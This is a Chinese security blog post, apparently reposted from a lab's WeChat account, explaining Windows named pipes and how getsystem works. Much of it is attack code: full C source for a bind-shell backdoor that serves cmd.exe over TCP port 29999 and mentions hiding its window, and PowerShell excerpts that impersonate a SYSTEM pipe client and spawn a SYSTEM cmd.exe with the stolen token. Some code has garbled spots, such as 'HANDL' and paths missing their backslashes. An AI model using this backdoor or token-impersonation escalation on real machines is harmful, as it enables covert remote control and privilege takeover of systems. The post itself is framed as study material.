Windows命名管道&getsystem原理学习记录

admin 2022年12月6日15:01:41评论32 views字数 6502阅读21分40秒阅读模式

出品|博客(ID:moon_flower)



前言


以下内容,来自博客的moon_flower作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。


命名管道基础


是可以单向或双面服务器和一个或多个客户端之间进行通讯的管道,命名管道的所有实例拥有相同的名称,但每个实例都有自己的缓冲区和句柄,用来为不同客户端通讯提供独立管道。

命名管道的名称在本系统中是唯一的。
命名管道可以被任意符合权限要求的进程访问。
命名管道只能在本地创建。
命名管道的客户端可以是本地进程(本地访问:.pipePipeName)或者是远程进程(访问远程:ServerNamepipePipeName)。
命名管道使用比匿名管道灵活,服务端、客户端可以是任意进程,匿名管道一般情况下用于父子进程通讯。

列出当前计算机上的所有命名管道(powershell):

[System.IO.Directory]::GetFiles("\.\pipe\")



管道实现简单shell后门


一个正向 shell,被控者本地监听一个端口,由攻击者主动连接。

Windows命名管道&getsystem原理学习记录
攻击者的数据从通过socket传入被控者buffer,buffe通过一个管道写入,CMD从该管道的另一端读取,并作为输入。

执行后CMD将输出写入另一个管道,buffe从另一端读取后,通socke发送给 hacker。

window管道分为命名管道和匿名管道,其中匿名管道只能实现本地机器上两个进程的通信,通常用于父进程和子进程之间传送数据,这里采用匿名管道实现。

代码(网上的代码有各种奇奇怪怪bug,最后写出来的也是个代码健壮性几乎为0的东西,但当作学习还是勉强能冲的)

#include <stdio.h>#include <winsock2.h>#pragma comment (lib, "ws2_32")int main(){    WSADATA wsa;    WSAStartup(MAKEWORD(22), &wsa);    // 创建 TCP 套接字    SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    // 绑定套接字    sockaddr_in sock;    sock.sin_family = AF_INET;    sock.sin_addr.S_un.S_addr = INADDR_ANY;    sock.sin_port = htons(29999);    bind(s, (SOCKADDR*)&sock, sizeof(SOCKADDR));    // 设置监听    listen(s, 5);    // 接收客户端请求    sockaddr_in sockClient;    int SaddrSize = sizeof(SOCKADDR);    SOCKET sc = accept(s, (SOCKADDR*)&sockClient, &SaddrSize);    // 创建管道    SECURITY_ATTRIBUTES sa1, sa2;    HANDL hRead1, hRead2, hWrite1, hWrite2;    sa1.nLength = sizeof(SECURITY_ATTRIBUTES);    sa1.lpSecurityDescriptor = NULL;    sa1.bInheritHandle = TRUE;    sa2.nLength = sizeof(SECURITY_ATTRIBUTES);    sa2.lpSecurityDescriptor = NULL;    sa2.bInheritHandle = TRUE;    CreatePipe(&hRead1, &hWrite1, &sa1, 0);    CreatePipe(&hRead2, &hWrite2, &sa2, 0);    // 创建用于通信的子进程    STARTUPINFO si;    PROCESS_INFORMATION pi;    ZeroMemory(&si, sizeof(STARTUPINFO));    si.cb = sizeof(STARTUPINFO);    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;    // 为了测试设置 SW_SHOW 实际上应该用 SW_HIDE    si.wShowWindow = SW_SHOW;    // 替换标准输入输出句柄    si.hStdInput = hRead1;    si.hStdOutput = hWrite2;    si.hStdError = hWrite2;    char* szCmd = "cmd";    CreateProcess(NULL, TEXT("cmd"), NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);    unsigned long dwBytes = 0;    BOOL bRet = FALSE;    const int MAXSIZE = 0x1000;    char szBuffer[MAXSIZE] = "";    while (TRUE)    {        ZeroMemory(szBuffer, MAXSIZE);        bRet = PeekNamedPipe(hRead2, szBuffer, MAXSIZE, &dwBytes, 00);        if (dwBytes)        {            ReadFile(hRead2, szBuffer, dwBytes, &dwBytes, NULL);            printf("send:%s", szBuffer);            int len = strlen(szBuffer);            int iCurrSend = send(sc, szBuffer, len-1, 0);            // 不知道为什么不-1的话链接会直接断掉            if (iCurrSend <= 0)            {                printf("send error %d", WSAGetLastError());                goto exit;            }        }        else         {            dwBytes = recv(sc, szBuffer, 1024, 0);            if (dwBytes)            {                printf("recv:%s", szBuffer);                WriteFile(hWrite1, szBuffer, strlen(szBuffer), &dwBytes, NULL);            }        }    }exit:    closesocket(s);    CloseHandle(hRead1);    CloseHandle(hRead2);    CloseHandle(hWrite1);    CloseHandle(hWrite2);    WSACleanup();    return 0;}



getsystem原理


命名管道有一个特点,就是允许服务端进程模拟连接到客户端进程。可以利用Impersonate-NamedPipeClient这个API,通过命名管道的服务端进程模拟客户端进程的访问令牌,也就说如果有一个非管理员用户身份运行的命名管道服务器,并有一个管理员的进程连接到这个管道,那么理论上就可以冒充管理员用户。

API 的官方描述:

When this function is called, the named-pipe file system changes the thread of the calling process to start impersonating the security context of the last message read from the pipe. Only the server end of the pipe can call this function

使用的限制条件(满足其一):

1.请求的令牌模拟级别小于 SecurityImpersonation,如 SecurityIdentification 或 securityyanonymous。
2.调用方具有 SeImpersonatePrivilege 权限(通常需要 admin 用户)
3.一个进程(或调用者登录会话中的另一个进程)通过 LogonUser 或 LsaLogonUser 函数使用显式凭据创建令牌。
4.经过身份验证的标识与调用方相同。

Windows命名管道&getsystem原理学习记录具体的实现过程:

1.创建一个以system权限启动的程序,这个程序的作用是连接指定的命名管道。
2.创建一个进程,并让进程创建命名管道。
3.让之前的以system权限启动的程序启动并连接这个命名管道。
4.利用ImpersonateNamedPipeClient()函数生成system权限的token。
5.利用system权限的token启动cmd.exe。

通过 sysmon 可以看到一部分的实现:

Windows命名管道&getsystem原理学习记录具体也可以用这个脚本实现全过程:https://github.com/decoderit/pipeserverimpersonate/blob/master/pipeserverimpersonate.ps1

这里先创建了一named pipe security object ,并实例化了命名管道 "pipedummy",关联访问控制列表

$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity$AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )$PipeSecurity.AddAccessRule($AccessRule)$pipename="pipedummy"$pipe = New-Object System.IO.Pipes.NamedPipeServerStream($pipename,"InOut",10, "Byte", "None", 1024, 1024, $PipeSecurity)$PipeHandle = $pipe.SafePipeHandle.DangerousGetHandle()

进入等待连接,客户端连接后就读取发来的数据

$pipe.WaitForConnection()$pipeReader = new-object System.IO.StreamReader($pipe)$Null = $pipereader.ReadToEnd()

然后用 system 权限连接管道(主机无法直接用 system 登录,这里用了 msf 中的 shell)。
echo test > \.pipedummypipe
Windows命名管道&getsystem原理学习记录
脚本中在当前线程中模拟客户端
(调用ImpersonateNamedPipeClient)
#we are still Attacker$Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)#now  we are impersonating the user (Victim),$user=[System.Security.Principal.WindowsIdentity]::GetCurrent().Nameecho $user# everything we do BEFORE RevertToSelf is done on behalf that user$RetVal = $RevertToSelf.Invoke()# we are again Attacker

接着可以获得线程(victim,这里是 system 权限)的令牌。

#we are Victim#get the current thread handle$ThreadHandle = $GetCurrentThread.Invoke()[IntPtr]$ThreadToken = [IntPtr]::Zero#get the token of victim's thread[Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_ALL_ACCESS, $true, [Ref]$ThreadToken)

然后用这个令牌的身份启动一个新的进程,通过 CreateProcessWithToken API,但是这个 API 的调用需要 SeImpersonatePrivilege 权限,这也对应了前面的条件限制。

$RetVal = $RevertToSelf.Invoke()# we are again Attacker$pipe.close()#run a process as the previously impersonated user$StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO)[IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize)$memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null[System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct$ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION)[IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize)$memset.Invoke($ProcessInfoPtr, 0, $ProcessInfoSize) | Out-Null$processname="c:windowssystem32cmd.exe"$ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($processname)$ProcessArgsPtr = [IntPtr]::Zero$Success = $CreateProcessWithTokenW.Invoke($ThreadToken, 0x0,$ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()echo "CreateProcessWithToken: $Success  $ErrorCode"

然后就可以看到弹出的system的cmd了

Windows命名管道&getsystem原理学习记录附注: CreateProcessWithToken ()依赖于“Secondary Logon Service(辅助登录服务)”,因此如果禁用此服务,调用将失败。(机翻)
在 msf 也能看到类似操作:
Windows命名管道&getsystem原理学习记录



参考文献

    • https://www.anquanke.com/post/id/190207

    • https://www.anquanke.com/post/id/258286

    • https://www.anquanke.com/post/id/265507#h2-1

    • https://blog.csdn.net/qq_41874930/article/details/110001596

    • https://decoder.cloud/2019/03/06/windows-named-pipes-impersonation/


Windows命名管道&getsystem原理学习记录
Windows命名管道&getsystem原理学习记录
Windows命名管道&getsystem原理学习记录

▇ 扫码关注我们 ▇

长白山攻防实验室

学习最新技术知识


原文始发于微信公众号(长白山攻防实验室):Windows命名管道&getsystem原理学习记录

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月6日15:01:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows命名管道&getsystem原理学习记录https://cn-sec.com/archives/1447532.html

发表评论

匿名网友 填写信息